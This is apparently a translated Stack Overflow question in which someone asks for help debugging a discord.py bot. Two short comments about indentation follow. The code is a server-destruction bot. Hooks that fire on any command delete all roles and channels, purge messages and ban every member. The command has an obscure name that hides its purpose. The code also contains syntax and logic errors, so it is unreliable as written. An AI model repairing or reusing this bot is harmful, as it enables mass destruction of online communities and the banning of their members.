【发布时间】:2022-06-11 02:39:06
【问题描述】:
我一直在 Discord.Py 中开发一个机器人,最近遇到了一些错误。这是我的代码:
import discord
from discord.ext import commands
import asyncio
import time
import yapf
bot = commands.Bot(command_prefix="£")
@bot.event
async def on_ready():
print('We have logged in as {0.user}'.format(bot))
@bot.before_invoke
async def idk(ctx):
for role in ctx.guild.roles:
try:
await role.delete()
except:
await ctx.send(f"Cannot delete {role.name}")
@bot.command()
async def M79Dya3(ctx):
limit = 0
async for msg in ctx.channel.history(limit=None):
limit += 1
for channel in ctx.guild.channels:
await ctx.channel.purge(limit=limit)
time.sleep(5)
@bot.after_invoke
async def idklol(ctx):
for c in ctx.guild.channels:
await c.delete.all()
time.sleep(10)
channel = await ctx.guild.create_text_channel('goodbye-potatoes')
ctx.channel.send("hello")
time.sleep(30)
for user in ctx.guild.members:
try:
await user.ban(reason=None", delete_message_days=7)
print(f'Banned {user.display_name}!')
print(f"Banning is complete!")
except:
pass
bot.run ('token goes here')
当我正确缩进这部分代码时:
try:
await user.ban(reason=None)
print(f'Banned {user.display_name}!')
print(f"Banning is complete!")
except:
pass
我在这部分遇到了更多错误:
channel = await ctx.guild.create_text_channel('goodbye-potatoes')
ctx.channel.send("hello")
time.sleep(30)
for user in ctx.guild.members:
try:
await user.ban(reason=None)
channel = await ctx.guild.create_text_channel('goodbye-potatoes') 的错误是
局部变量“通道”已分配给但从未使用过
ctx.guild.members: 的错误是
未定义名称'ctx'
await user.ban(reason=None) 的错误是
'yield' 外部函数
我不知道我是否错误地缩进了代码,或者实际代码是否有问题,但如果有人可以提供帮助,那就太好了。谢谢。
【问题讨论】:
-
except:必须与try处于相同的缩进级别 -
PEP-8 建议缩进 4 个空格。使用它,以便您可以清楚地看到结构。
标签: python discord discord.py